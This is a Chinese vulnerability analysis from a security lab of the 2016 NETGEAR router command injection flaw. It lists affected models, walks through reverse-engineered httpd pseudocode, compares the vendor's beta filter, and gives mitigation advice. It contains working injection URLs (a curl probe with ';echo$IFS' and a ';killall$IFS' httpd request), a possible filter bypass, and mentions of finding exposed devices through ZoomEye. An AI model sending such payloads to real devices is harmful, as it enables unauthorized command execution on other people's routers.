NETGEAR 系列路由器命令执行漏洞简析

Author:p0wd3r,dawu(知道创宇404安全实验室)

Data: 2016-12-13

更新于 12/16 : 修正了原文中的一处错误,感谢 @k0pwn

2016年12月7日,国外网站exploit-db上爆出一个关于NETGEAR R7000路由器的命令注入漏洞。一时间,各路人马开始忙碌起来。厂商忙于声明和修复,有些人忙于利用,而我们则在复现的过程中寻找漏洞的本质。

一.漏洞简介

1.漏洞简介

2016年12月7日,NETGEAR R7000路由器在exploit-db上被爆出存在远程命令执行漏洞,随着安全研究人员的不断深入,R8000和R6400这两款路由器也被证实有同样的问题。
2016年12月13日,NETGEAR官网上确认漏洞存在,对部分受影响的设备发出了beta版的固件补丁。
2016年12月14日,受影响的设备型号增加至11种。

2.漏洞影响

NETGEAR R6250
NETGEAR R6400

NETGEAR R6700
NETGEAR R6900

NETGEAR R7000
NETGEAR R7100LG

NETGEAR R7300DST
NETGEAR R7900

NETGEAR R8000
NETGEAR D6220

NETGEAR D6400*

二.漏洞复现与分析

1.漏洞复现

通过ZoomEye网络空间搜素引擎我们可以寻找此次受影响的设备的ip

curl -v "https://ip:port/cgi-bin/;echo$IFS"testt" --insecure

2.漏洞分析

①灵感篇

此次漏洞分析的灵感源于小伙伴检测中发现的一个问题,让我们走了不少弯路,顺利定位到问题所在。
当我们执行ps命令时,出现了如下的结果:
很有意思的是,我们请求的url出现在了以nobody用户运行的进程里,这让我们可以根据关键词”sh -c”和”/tmp/cgi_result”去定位关键代码的位置。

在漏洞分析的过程中,另一个小伙伴给出了一个链接,DD-WRT HTTPd的远程命令执行。其中命令执行的部分如下,与本次漏洞很像。于是HTTPD就成了我们这次重点关注的对象。

从官网下载NETGEAR R7000的固件并通过如下命令解开固件。

binwalk -eM R7000-V1.0.7.2_1.1.93.chk

解开固件之后我们寻找到了相关的文件/usr/sbin/httpd,确认与cgi_result有关之后,我们对httpd进行了逆向。

②逆向篇

根据前文的介绍,我们通过搜索字符串,找到了对应的函数sub_36C34,F5看反编译的伪码,出现cgi_result这一字符串的地方如下:

if ( !strcmp((const char *)&v53, "POST") )
{
...
}
else if ( !strcmp((const char *)&v53, "OPTIONS") )
{
...
}
else
{
v36 = fopen("/tmp/cgi_result", "r");
if ( v36 )
{
fclose(v36);
system("rm -f /tmp/cgi_result");
if ( acosNvramConfig_match((int)&unk_F0378, (int)"2") )
puts("rn##########delete /tmp/cgi_result ############r");
}
v33 = (const char *)&unk_F070F;
v34 = (char *)&v45;
}
sprintf(v34, v33, &v50);
system((const char *)&v45);
memset(&v49, 0, 0x40u);

可以看到else里的逻辑是先判断/tmp/cgi_result这一文件是否存在,存在则删除该文件,v33unk_F070F的地址值,unk_F070F的值为/www/cgi-bin/%s > /tmp/cgi_resultv34v45的地址值。继续向下,可以看到v50替换了v33中的 %s 并赋值给了v34。v50具体是什么我们暂时不清楚。然后再使用system() 函数执行v45对应的值,也就是前面v34的值。
。据此推断,此处应该就是命令执行的触发点了。我们开始向上溯源。
首先,我们先看一下sub_36C34函数的几个参数的内容

int __fastcall sub_36C34(const char *a1, int a2, const char *a3, int a4)

根据其中的代码内容以及写入的文件/tmp/post_data.txt可知,a1POST数据包的body部分,a3可能为urla4为一个整数,用于判断是否为POST的数据包
查看xrefs graph to生成的调用图:

我们从main函数开始看起,main函数直接调用了sub_147A0函数

sub_147A0函数中如此调用了sub_100A0函数

sub_100A0(&s1, a105, (int)&a87, dword_F217F8);

其中s1http报文内容,a105为s1的地址值。

在sub_100A0函数中,POST数据交给sub_19600函数处理,GET数据交给sub_19B3C函数处理,还有一些其它情况交给sub_1A1C0函数处理,再交给sub_19B3C处理。我们跟了调用sub_19600函数的一些关键过程。

int __fastcall sub_100A0(char *a1, const char *a2, int a3, int a4)
{
char *v9; // r4@5
const char *v10; // r3@6
int v11; // r7@6
bool v12; // zf@6
...
s1 = a1;
v9 = (int)s1;
...
do
{
v10 = (unsigned __int8)*v9;
v11 = v9++;
v12 = v10 == 0;
if ( v10 )
v12 = v10 == 32;
}
while ( !v12 );
//移动到HTTP报文第一个空格的位置
...
LABEL_27:
if ( *(_BYTE *)(v11 + 1) == 47 )
++v9;
//移动到HTTP报文中/的位置
..
return (int)sub_19600((const char *)v9, v248, v4);
}

可以看到,sub_19600函数将指针移动到HTTP报文中第一个/的位置,也就是网站路径的位置,然后通过调用LABEL_27:就可以获取网站的目录。这样获取到的内容就是最初始的内容被传递到了下一个函数 sub_19600。

char *__fastcall sub_19600(const char *a1, const char *a2, int a3)
{
const char *v3; // r6@1
const char *v4; // r4@1
int v5; // r5@1
char *result; // r0@1
v3 = a2;
v4 = a1;
v5 = a3;
result = strstr(a1, "cgi-bin");
if ( result )
{
if ( acosNvramConfig_match((int)"cgi_debug_msg", (int)"1") )
printf("rn##########%s(%d)url=%srn", "handle_options", 1293, v4);
result = (char *)sub_36C34(v3, v5, v4, 2);
}
return result;
}

sub_19600函数没有做任何处理,就直接将获取到的路径传递到了sub_36C34

int __fastcall sub_36C34(const char *a1, int a2, const char *a3, int a4)
{
v6 = a3;
v12 = strstr(v6, "cgi-bin");
if(v12)
{
...
memset(&v50, 0, 0x40u);//给V50分配了64字节的空间,故我们可执行命令的最大长度为64字节
...
}
else
{
if ( v24 )
{
if ( v22 )
v25 = 0;
else
v25 = v23 & 1;
if ( v25 )
strcpy((char *)&v50, v20);
}
else
{
strncpy((char *)&v50, v20, v22 - 1 - v21);
}
}
...
...
...
if ( !strcmp((const char *)&v53, "POST") )
{
...
}
else if ( !strcmp((const char *)&v53, "OPTIONS") )
{
...
}
else
{
v36 = fopen("/tmp/cgi_result", "r");
if ( v36 )
{
fclose(v36);
system("rm -f /tmp/cgi_result");
if ( acosNvramConfig_match((int)&unk_F0378, (int)"2") )
puts("rn##########delete /tmp/cgi_result ############r");
}
v33 = (const char *)&unk_F070F;
v34 = (char *)&v45;
}
sprintf(v34, v33, &v50);
system((const char *)&v45);
memset(&v49, 0, 0x40u);
}

sub_36C34函数中,会检测url中是否含有cgi-bin,如果含有,则进行一系列分割操作,并将cgi-bin后面的值赋给v50,而参数v50则正如我们之前分析的那样,替换了v33中的 %s 之后赋值给v34并被 system() 函数执行,造成了命令执行漏洞。

之后我们继续跟了sub_19B3Csub_1A1C0这两个函数,发现最终也跟sub_19600函数殊途同归。不过是因为HTTP请求的不同(POSTOPTIONS)而导致不同的函数去处理罢了。

③固件对比篇

2016年11月13日,NETGEAR在其官网发布了新的beta固件,我们对其进行了更进。
按照上文同样的方法,我们对httpd进行了逆向,xrefs图如下:
整体函数没有太大变化,让我们来看一下具体细节上的变化。
一路跟下来,在sub_14958sub_100A0sub_197B8这些函数中都没有看到对url进行处理,在sub_36EB4中我们发现官方对其进行了过滤。

int __fastcall sub_36EB4(const char *a1, int a2, const char *a3, int a4)
{
const char *v6; // r4@1
...
v6 = a3;
if ( !strchr(a3, 59) && !strchr(v6, 96) && !strchr(v6, 36) && !strstr(v6, "..") )
//ascii对照表:59=>; 96=>`  36=>$
{
...
}
}

我们可以看到,官方的beta固件过滤了; $..,但是我们依旧可能可以绕过这些过滤执行命令,例如||(未测试)。

至于官方后续的更新,我们会继续更进。
如有错误,欢迎指正:)

三.漏洞影响

下图为ZoomEye网络空间搜素引擎上最早曝光的受影响设备R7000,R8000和R6400的全球分布情况。

事实上,还有很多内网的设备我们无法探测,对于这些内网设备,通过csrf攻击仍然可以威胁到内网的安全。这里提供一个以往的案例供大家参考: http://www.2cto.com/article/201311/254364.html 。由于本次漏洞可以执行任意命令,故威胁远比案例中修改dns要大,希望可以引起大家的重视。

四.修复建议

目前官方仅推出了beta版的补丁,可以根据官网的提示刷新固件
由于新版本beta固件可能还存在一定的安全问题,我们仍然建议关闭路由器远程管理页面。
对比之前受影响的设备,如果不能进入管理界面,也可以通过下列url关闭。

http(s)://ip:port/cgi-bin/;killall$IFS’httpd’

五.参考链接

1.https://www.seebug.org/vuldb/ssvid-92571
2.https://www.exploit-db.com/exploits/40889/
3.http://kb.netgear.com/000036386/CVE-2016-582384
4.http://www.kb.cert.org/vuls/id/582384
5.https://github.com/rapid7/metasploit-framework/issues/7698
6.http://www.freebuf.com/news/122596.html